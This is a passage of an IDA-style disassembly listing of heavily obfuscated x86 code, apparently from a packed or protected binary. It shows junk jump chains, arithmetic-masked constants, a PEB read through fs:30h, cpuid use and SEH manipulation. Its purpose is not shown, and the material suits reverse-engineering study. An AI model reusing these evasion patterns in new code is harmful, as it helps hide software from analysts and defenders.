CHUNK FOR sub_426319 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E218 loc_4280E1: ; CODE XREF: sub_42E218:loc_42A897j ; sub_42E218-19CBj push ecx push 894875C1h pop ecx xor ecx, 0C5145604h and ecx, 0E37399DEh add ecx, 0BFF2E607h jmp loc_4242E2 ; END OF FUNCTION CHUNK FOR sub_42E218 ; --------------------------------------------------------------------------- pop eax add eax, 3B7EB973h shl eax, cl mov edx, [ebp-14h] ; START OF FUNCTION CHUNK FOR sub_42798F loc_42810B: ; CODE XREF: sub_42798F:loc_426CD2j jmp loc_42591C ; END OF FUNCTION CHUNK FOR sub_42798F ; =============== S U B R O U T I N E ======================================= sub_428110 proc near ; CODE XREF: _0182ofla:004230D4j ; sub_42CE01+9p ; FUNCTION CHUNK AT 00425903 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C7C5 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042DCAC SIZE 00000010 BYTES mov [esp+0], edx pop edx or eax, eax jnz loc_42729C jmp loc_425903 sub_428110 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_428121: ; CODE XREF: _0182ofla:0042B1B5j add edx, 0DB190781h mov edx, [edx] xchg edx, [esp] retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660C loc_42812D: ; CODE XREF: sub_42660C+516Cj jmp sub_4271D2 ; END OF FUNCTION CHUNK FOR sub_42660C ; --------------------------------------------------------------------------- loc_428132: ; CODE XREF: _0182ofla:0042DF12j jz loc_42D884 jmp loc_42CA8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E9A5 loc_42813D: ; CODE XREF: sub_42E9A5:loc_427198j xchg ebx, [esp+4+var_4] jmp sub_428D17 ; END OF FUNCTION CHUNK FOR sub_42E9A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42537E loc_428145: ; CODE XREF: sub_42537E+4F30j add esi, 0FB2B4EA9h loc_42814B: ; CODE XREF: sub_42537E:loc_42740Fj mov eax, [ebp-4] mov eax, [eax] jmp loc_429517 ; END OF FUNCTION CHUNK FOR sub_42537E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_428155: ; CODE XREF: sub_42798F:loc_42CAF0j cmp byte ptr [ebp-5], 0 jnz loc_429D23 jmp loc_4298F2 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- xchg ecx, ebp not ebp jmp sub_42EDCF ; =============== S U B R O U T I N E ======================================= sub_42816D proc near ; CODE XREF: sub_42B669+11D3p mov [esp+0], eax retn sub_42816D endp ; --------------------------------------------------------------------------- loc_428171: ; CODE XREF: _0182ofla:00429D7Ej jmp loc_42D25E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428176 proc near ; CODE XREF: sub_42894D+4p ; sub_42326C+8492p ; FUNCTION CHUNK AT 004262DD SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042855D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00428E28 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042ADAB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B63B SIZE 00000005 BYTES push ebp loc_428177: ; CODE XREF: sub_425B6E:loc_424847j mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_42855D sub_428176 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_176. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_428183: ; CODE XREF: sub_42798F-BB9j sbb ebp, 75A21C2Bh jmp loc_428A81 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- mov [esi], edx and ecx, ebp jmp sub_426CF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C5EF loc_428197: ; CODE XREF: sub_42C5EF:loc_42777Cj mov ebp, esp push 0D0865FCBh push offset loc_42E33C jmp nullsub_103 ; END OF FUNCTION CHUNK FOR sub_42C5EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423AF2 loc_4281A8: ; CODE XREF: sub_423AF2+11j xor ebx, 704742DEh test ebx, 4 jmp loc_42B791 ; END OF FUNCTION CHUNK FOR sub_423AF2 ; =============== S U B R O U T I N E ======================================= sub_4281B9 proc near ; CODE XREF: sub_428A39:loc_423896p ; _0182ofla:00427F64j ; FUNCTION CHUNK AT 0042B88C SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042C11E SIZE 00000005 BYTES xchg eax, [esp+0] pop eax pushf push 642A7F2Eh jmp loc_42C11E sub_4281B9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_4281C8: ; CODE XREF: sub_428D63+45C0j sub eax, 0BE119FC3h test eax, 2000h jmp loc_42862F ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- call sub_429B69 test al, al jz loc_42E938 jmp loc_42828F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429E52 loc_4281EB: ; CODE XREF: sub_429E52-4516j mov esi, 0B6659E2Ah jbe loc_4254D6 push eax jmp loc_42481C ; --------------------------------------------------------------------------- loc_4281FC: ; CODE XREF: sub_429E52:loc_425520j cmp dword ptr [ebp-4], 5 jmp loc_42AB13 ; END OF FUNCTION CHUNK FOR sub_429E52 ; =============== S U B R O U T I N E ======================================= sub_428205 proc near ; CODE XREF: _0182ofla:0042822Aj ; sub_42EAB7-2363p ; FUNCTION CHUNK AT 00425AC8 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042D632 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi mov eax, [ebp-1Ch] shl eax, 8 mov edx, [ebp-20h] movzx edx, byte ptr [edx] or eax, edx jmp loc_42D632 sub_428205 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42821C: ; CODE XREF: _0182ofla:004253EFj jnz loc_423E5E jmp loc_42AA8B ; --------------------------------------------------------------------------- shr esi, 5 jmp sub_428205 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E1DA loc_42822F: ; CODE XREF: sub_42E1DA:loc_429BE2j xor ecx, 54A8B37Ah cmp eax, ecx pop ecx mov edx, 9C62C5C0h add edx, ecx pop eax jmp loc_42B2F5 ; END OF FUNCTION CHUNK FOR sub_42E1DA ; =============== S U B R O U T I N E ======================================= sub_428245 proc near ; CODE XREF: _0182ofla:004292D0j ; sub_424184+A259p ; FUNCTION CHUNK AT 004280AA SIZE 0000000C BYTES xchg ecx, [esp+0] pop ecx mov [ebp-0Ch], eax push 4BD7C857h pop eax xor eax, 30640CF4h add eax, 63E19693h add eax, ebp jmp loc_4280AA sub_428245 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428265 proc near ; DATA XREF: sub_428A39+629Eo ; FUNCTION CHUNK AT 0042323A SIZE 00000005 BYTES test eax, eax jz loc_429D23 mov eax, [ebp-0Ch] neg eax sbb eax, eax neg eax jmp loc_42323A sub_428265 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428A5F loc_42827B: ; CODE XREF: sub_428A5F+Dj ; sub_42CB00+16j rol eax, 0Fh push eax call sub_424CD8 retn ; END OF FUNCTION CHUNK FOR sub_428A5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425DA5 loc_428285: ; CODE XREF: sub_425DA5:loc_42397Aj ; _0182ofla:004277BFj call sub_423FCD jmp loc_425852 ; END OF FUNCTION CHUNK FOR sub_425DA5 ; --------------------------------------------------------------------------- loc_42828F: ; CODE XREF: _0182ofla:004281E6j jnz loc_42E535 jmp loc_426945 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282B8 loc_42829A: ; CODE XREF: sub_4282B8:loc_42C78Fj pop edx mov eax, [eax] push edi push 0E4549DA0h pop edi rol edi, 12h sub edi, 0A5407973h jmp loc_42C4D8 ; END OF FUNCTION CHUNK FOR sub_4282B8 ; --------------------------------------------------------------------------- loc_4282B2: ; CODE XREF: _0182ofla:004244BDj jle loc_4271B7 ; =============== S U B R O U T I N E ======================================= sub_4282B8 proc near ; CODE XREF: sub_426E96+Bp ; FUNCTION CHUNK AT 00423131 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00424AA0 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00425081 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004254AB SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00426488 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00426A53 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0042829A SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00428F4F SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00429926 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A120 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A1C9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C13A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042C3F2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C4D8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C78F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CB99 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042D18C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042D7C5 SIZE 00000014 BYTES mov [esp+0], ebx pop ebx push edx jmp loc_4254AB sub_4282B8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4289E4 loc_4282C2: ; CODE XREF: sub_4289E4:loc_428394j mov [ebp-8], eax loc_4282C5: ; CODE XREF: sub_42C2F0:loc_4297E8j jo loc_42C309 mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 jmp loc_42A877 ; END OF FUNCTION CHUNK FOR sub_4289E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E689 loc_4282D6: ; CODE XREF: sub_42E689:loc_427572j add ecx, 18h mov al, [ecx] add ecx, 9Ch add [ecx], al add ecx, 4 mov dword ptr [ecx], offset loc_427618 xor eax, eax pop ecx jmp loc_425784 ; END OF FUNCTION CHUNK FOR sub_42E689 ; --------------------------------------------------------------------------- sbb esi, 6442743Ch xor edx, ecx jmp sub_429BEC ; --------------------------------------------------------------------------- cmp eax, edx jmp loc_427627 ; --------------------------------------------------------------------------- loc_42830E: ; CODE XREF: _0182ofla:00424B41j mov [ebp-4], eax mov eax, [ebp-4] xchg ebx, [esp] mov ecx, ebx pop ebx jmp loc_4239E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429AB1 loc_42831F: ; CODE XREF: sub_423F65+9j ; sub_429AB1:loc_42674Ej ror eax, 12h loc_428322: ; CODE XREF: _0182ofla:loc_428059j mov ds:dword_42E8C4, eax retn ; END OF FUNCTION CHUNK FOR sub_429AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E689 loc_428329: ; CODE XREF: sub_42E689-5063j jmp loc_4256F7 ; END OF FUNCTION CHUNK FOR sub_42E689 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42448C loc_42832E: ; CODE XREF: sub_42448C+1B37j ; sub_426BDA+381Fj rol eax, 12h jmp loc_423E64 ; END OF FUNCTION CHUNK FOR sub_42448C ; =============== S U B R O U T I N E ======================================= sub_428336 proc near ; DATA XREF: sub_42D056+DDAo ; FUNCTION CHUNK AT 0042488D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042B4A5 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042CCF9 SIZE 0000000B BYTES mov ds:dword_42578C, eax jmp loc_42B4A5 sub_428336 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_428340: ; CODE XREF: sub_42D056+4j push edx push 0AE4DC4AFh pop edx add edx, 51F49E09h xchg edx, [esp+0] jmp sub_423FCD ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D833 loc_428355: ; CODE XREF: sub_42D833+1501j mov ebp, 0D777B4Eh jmp loc_42B1BA ; END OF FUNCTION CHUNK FOR sub_42D833 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424B70 loc_42835F: ; CODE XREF: sub_424B70:loc_4236C5j or dword ptr [eax-8], 8 loc_428363: ; CODE XREF: sub_424B70+8j ; sub_42798F:loc_427A8Aj ... push offset loc_4243A1 jmp nullsub_40 ; END OF FUNCTION CHUNK FOR sub_424B70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A642 loc_42836D: ; CODE XREF: sub_42A642:loc_4242D8j mov ebp, ebx pop ebx mov eax, ds:dword_42B8E0 or eax, eax jnz loc_425D7A jmp loc_428668 ; END OF FUNCTION CHUNK FOR sub_42A642 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427F32 loc_428383: ; CODE XREF: sub_427F32+1Aj popf call sub_42DA65 jmp loc_427A01 ; END OF FUNCTION CHUNK FOR sub_427F32 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_189. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_42838F: ; CODE XREF: sub_4253F4+5EF5j jmp loc_425C09 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4289E4 loc_428394: ; CODE XREF: sub_4289E4:loc_4290CFj jmp loc_4282C2 ; END OF FUNCTION CHUNK FOR sub_4289E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426BDA loc_428399: ; CODE XREF: sub_426BDA+11j jmp loc_42A3F1 ; END OF FUNCTION CHUNK FOR sub_426BDA ; =============== S U B R O U T I N E ======================================= sub_42839E proc near ; CODE XREF: sub_423BD5+8p push dword ptr fs:0 mov fs:0, esp jmp near ptr byte_427FAD sub_42839E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_4283AF: ; CODE XREF: sub_428D63+18DAj jz loc_425F5B jmp loc_427568 ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- loc_4283BA: ; CODE XREF: _0182ofla:004258ACj cdq ; =============== S U B R O U T I N E ======================================= sub_4283BB proc near ; CODE XREF: _0182ofla:loc_4236D0p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042434E SIZE 0000000A BYTES xchg ebx, [esp-4+arg_0] pop ebx ror edx, 11h mov ebx, eax pop eax pop edx pop ecx jmp loc_42434E sub_4283BB endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_4283CC: ; CODE XREF: _0182ofla:0042D64Bj jmp sub_429038 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F0F loc_4283D2: ; CODE XREF: sub_428F0F+Cj jmp loc_42ACC4 ; END OF FUNCTION CHUNK FOR sub_428F0F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_4283D7: ; CODE XREF: sub_42B15E-7D9Cj ; sub_423A2A+1j ... jb loc_423045 call sub_423FCD test al, al jz loc_424C90 jmp loc_42626F ; END OF FUNCTION CHUNK FOR sub_423A2A ; =============== S U B R O U T I N E ======================================= sub_4283EF proc near ; DATA XREF: _0182ofla:loc_42E2A9o ; FUNCTION CHUNK AT 0042357E SIZE 00000005 BYTES pop large dword ptr fs:0 add esp, 4 loc_4283F9: ; CODE XREF: _0182ofla:0042E7B9j push offset sub_42E9FF jmp loc_42357E sub_4283EF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_428403: ; CODE XREF: sub_423A2A:loc_42E2E9j pop ebp jl loc_424F2A jl loc_4235A6 xor edx, 0C573DE12h mov esi, [ecx] jmp loc_424C84 ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42841D: ; CODE XREF: sub_428D63:loc_42DE10j jnz loc_429EC1 loc_428423: ; CODE XREF: sub_42EDCF+1Dj jmp loc_42DD5C ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_428428: ; CODE XREF: sub_42D056-20BEj jmp loc_42CBF6 ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- cmp edi, ebp jmp loc_423753 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CDEB loc_428434: ; CODE XREF: sub_42CDEB+11j xor ecx, 6A60C8DDh add ecx, ebp add ecx, 5716C0Eh call sub_424E36 ; END OF FUNCTION CHUNK FOR sub_42CDEB ; =============== S U B R O U T I N E ======================================= sub_428447 proc near ; CODE XREF: _0182ofla:00426184p ; _0182ofla:0042D996j arg_0 = dword ptr 4 mov [esp+0], ebx pop ebx mov esp, ebp mov ebp, offset sub_42D897 xchg ebp, [esp-4+arg_0] retn sub_428447 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423AF2 loc_428456: ; CODE XREF: sub_423AF2:loc_429831j sbb ebx, edi ; END OF FUNCTION CHUNK FOR sub_423AF2 ; START OF FUNCTION CHUNK FOR sub_42DB2E loc_428458: ; CODE XREF: sub_42DB2E+10j or eax, 66041A0Eh xor eax, 0AEB4653Ch add eax, ebp add eax, 3F6FE056h mov eax, [eax] jmp loc_42981C ; END OF FUNCTION CHUNK FOR sub_42DB2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B1F9 loc_428473: ; CODE XREF: sub_42B1F9+9j test al, al jz loc_425440 jmp loc_42E0C5 ; END OF FUNCTION CHUNK FOR sub_42B1F9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_93. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_142. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_428482: ; CODE XREF: _0182ofla:00427B46j jmp loc_4283D7 ; --------------------------------------------------------------------------- jmp loc_4240A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DA9 loc_42848C: ; CODE XREF: sub_4282B8-1E27j ; sub_427DA9+48B4j ... jnz loc_42942C mov eax, large fs:30h push ecx jmp loc_4295FF ; END OF FUNCTION CHUNK FOR sub_427DA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428BBF loc_42849F: ; CODE XREF: sub_428BBF:loc_42415Fj cpuid add [esi], eax xor [esi], ebx add [esi], ecx xor [esi], edx jmp loc_42D629 ; END OF FUNCTION CHUNK FOR sub_428BBF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_4284AE: ; CODE XREF: sub_4253F4+14A0j mov eax, 1 xor ebx, ebx xor edx, edx jmp loc_42EB69 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429FC8 loc_4284BC: ; CODE XREF: sub_429FC8+Dj call sub_423BE7 ; END OF FUNCTION CHUNK FOR sub_429FC8 ; START OF FUNCTION CHUNK FOR sub_42561D loc_4284C1: ; CODE XREF: sub_42561D+205Bj jmp nullsub_97 ; END OF FUNCTION CHUNK FOR sub_42561D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424498 loc_4284C6: ; CODE XREF: sub_424498+2C7Fj jmp nullsub_204 ; END OF FUNCTION CHUNK FOR sub_424498 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426319 loc_4284CB: ; CODE XREF: sub_426319:loc_42759Ej mov ebp, ebx pop ebx jmp loc_426A92 ; END OF FUNCTION CHUNK FOR sub_426319 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx loc_4284D7: ; CODE XREF: _0182ofla:loc_425E0Bj jmp loc_424BF0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42349B loc_4284DC: ; CODE XREF: sub_42349B:loc_424D5Fj ja loc_42CD11 jmp loc_42A3AC ; END OF FUNCTION CHUNK FOR sub_42349B ; =============== S U B R O U T I N E ======================================= sub_4284E7 proc near ; DATA XREF: sub_42798F+65C8o ; FUNCTION CHUNK AT 00424402 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042B587 SIZE 00000005 BYTES lea eax, [ebp-125h] mov [ebp-20h], eax loc_4284F0: ; CODE XREF: sub_425AB1:loc_42AF5Cj mov eax, [ebp-1Ch] cmp byte ptr [eax], 0 jnz loc_424402 jmp loc_42B587 sub_4284E7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_428501: ; CODE XREF: sub_423A2A:loc_42CB37j mov eax, offset dword_42A3C8 call sub_427BA0 loc_42850B: ; CODE XREF: sub_425C89-2044j jmp loc_423423 ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428A39 loc_428510: ; CODE XREF: sub_4238A3+Ej jmp sub_4294A4 ; END OF FUNCTION CHUNK FOR sub_428A39 ; --------------------------------------------------------------------------- loc_428515: ; CODE XREF: _0182ofla:0042343Cj jmp locret_42B158 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428C7D loc_42851A: ; CODE XREF: sub_428C7D:loc_4257ADj sbb ebx, 5540B320h jz loc_427866 shl ebx, 15h or eax, 0ED5CA262h or eax, 0FEE31A46h rol ecx, 0Eh xchg ebp, [esp-4+arg_0] xchg eax, ebp jmp loc_42C54E ; END OF FUNCTION CHUNK FOR sub_428C7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CFAD loc_428542: ; CODE XREF: sub_42CFAD+Bj call sub_42461C ; END OF FUNCTION CHUNK FOR sub_42CFAD ; START OF FUNCTION CHUNK FOR sub_42798F loc_428547: ; CODE XREF: _0182ofla:00424117j ; sub_42798F:loc_425B22j ... call sub_424614 loc_42854C: ; DATA XREF: sub_4263F0+9o mov eax, [ebp+8] mov eax, [eax-10h] shr eax, 6 mov [ebp-10h], eax ; END OF FUNCTION CHUNK FOR sub_42798F ; START OF FUNCTION CHUNK FOR sub_425B6E loc_428558: ; CODE XREF: sub_425B6E:loc_424D33j jmp loc_427A8F ; END OF FUNCTION CHUNK FOR sub_425B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428176 loc_42855D: ; CODE XREF: sub_428176+7j mov eax, ds:dword_42E8F0 or eax, eax jnz loc_428E28 push ecx push 80C71F08h pop ecx jmp loc_42ADAB ; END OF FUNCTION CHUNK FOR sub_428176 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425C55 loc_428577: ; CODE XREF: sub_425C55-2650j mov [eax], ecx mov ecx, 20B2DEFh loc_42857E: ; CODE XREF: sub_425C55:loc_423CDFj push 86B2814Ch mov eax, offset loc_428591 xchg eax, [esp-8+arg_4] retn ; END OF FUNCTION CHUNK FOR sub_425C55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_42858C: ; CODE XREF: sub_42D056-8126j jmp loc_423DEC ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- loc_428591: ; DATA XREF: sub_425C55+292Eo rol eax, 1Dh jmp loc_42B218 ; =============== S U B R O U T I N E ======================================= sub_428599 proc near ; CODE XREF: _0182ofla:00424796j ; _0182ofla:0042E1C3p ; FUNCTION CHUNK AT 00427F8E SIZE 0000000A BYTES mov [esp+0], edx pop edx mov eax, [eax+0Ch] mov eax, [eax+0Ch] jmp loc_427F8E sub_428599 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_4285A8: ; CODE XREF: sub_428F20:loc_423086j add [esi], eax xor [esi], edx cmp edi, 80000001h jbe loc_42D629 jmp loc_424DC2 ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- loc_4285BD: ; CODE XREF: _0182ofla:0042473Fj add edx, 0DA0A1003h loc_4285C3: ; CODE XREF: _0182ofla:0042472Ej add edx, 8256EB1h call sub_42762D ; START OF FUNCTION CHUNK FOR sub_426B01 loc_4285CE: ; CODE XREF: sub_426B01+4j jmp loc_424EDD ; END OF FUNCTION CHUNK FOR sub_426B01 ; --------------------------------------------------------------------------- loc_4285D3: ; CODE XREF: _0182ofla:loc_42E568j jnz loc_42ABC3 jmp loc_4287BC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_236. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E13B loc_4285DF: ; CODE XREF: sub_42E13B+9j jmp nullsub_216 ; END OF FUNCTION CHUNK FOR sub_42E13B ; --------------------------------------------------------------------------- loc_4285E4: ; CODE XREF: _0182ofla:0042D495j jmp loc_42AFE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4298DD loc_4285E9: ; CODE XREF: sub_4298DD+10j jmp loc_424C30 ; END OF FUNCTION CHUNK FOR sub_4298DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42662C loc_4285EE: ; CODE XREF: sub_42662C+712Fj jge loc_4248E3 ; END OF FUNCTION CHUNK FOR sub_42662C ; START OF FUNCTION CHUNK FOR sub_42D71D loc_4285F4: ; CODE XREF: sub_42D71D+9j jmp sub_423B08 ; END OF FUNCTION CHUNK FOR sub_42D71D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EAB7 loc_4285F9: ; CODE XREF: sub_42EAB7-40E9j jmp loc_42C743 ; END OF FUNCTION CHUNK FOR sub_42EAB7 ; --------------------------------------------------------------------------- or ebp, ecx adc eax, ebx test esi, 44CB6440h jmp loc_4248DB ; =============== S U B R O U T I N E ======================================= sub_42860D proc near ; CODE XREF: sub_42E6CF+Fp mov [esp+0], eax ror eax, 13h mov ds:dword_424BEC, eax retn sub_42860D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB53 loc_42861A: ; CODE XREF: sub_42CB53+Dj jmp loc_425808 ; END OF FUNCTION CHUNK FOR sub_42CB53 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4295D6 loc_42861F: ; CODE XREF: sub_4295D6j push 8AD863DBh mov [esp+4+var_4], ebp mov ebp, esp jmp loc_42DEBA ; END OF FUNCTION CHUNK FOR sub_4295D6 ; --------------------------------------------------------------------------- locret_42862E: ; CODE XREF: _0182ofla:004274BBj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42862F: ; CODE XREF: sub_428D63-B8Fj jmp loc_42DE5E ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429E52 loc_428634: ; CODE XREF: sub_429E52:loc_42C109j not edx jmp loc_42A956 ; END OF FUNCTION CHUNK FOR sub_429E52 ; --------------------------------------------------------------------------- jns loc_42A7EE and ebx, ebp jmp sub_42D6DD ; --------------------------------------------------------------------------- loc_428648: ; DATA XREF: sub_42CE86+5o push 1735E117h pop ecx rol ecx, 17h test ecx, 80000h jmp loc_42CB7B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_35. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D8FF loc_42865D: ; CODE XREF: sub_42D8FF-425Ej jmp nullsub_148 ; END OF FUNCTION CHUNK FOR sub_42D8FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427259 loc_428662: ; CODE XREF: sub_427259+1857j jmp nullsub_115 ; END OF FUNCTION CHUNK FOR sub_427259 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_240. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A642 loc_428668: ; CODE XREF: sub_42A642-22C4j jmp loc_4276B4 ; END OF FUNCTION CHUNK FOR sub_42A642 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427B02 loc_42866D: ; CODE XREF: sub_427B02:loc_4263DAj mov [ecx], ebx adc esi, ebx jmp loc_42EA80 ; END OF FUNCTION CHUNK FOR sub_427B02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_428676: ; CODE XREF: sub_42D056+17j jnz loc_42DE1D jmp loc_427D21 ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425C89 loc_428681: ; CODE XREF: sub_425C89+454Bj or ebp, 0AAB17020h jmp loc_423C36 ; END OF FUNCTION CHUNK FOR sub_425C89 ; --------------------------------------------------------------------------- pop ebp jmp sub_426571 ; --------------------------------------------------------------------------- loc_428692: ; CODE XREF: _0182ofla:0042C255j mov [edi], eax pop edi retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425DA5 loc_428696: ; CODE XREF: sub_425DA5+D74j jmp loc_42B61B ; END OF FUNCTION CHUNK FOR sub_425DA5 ; 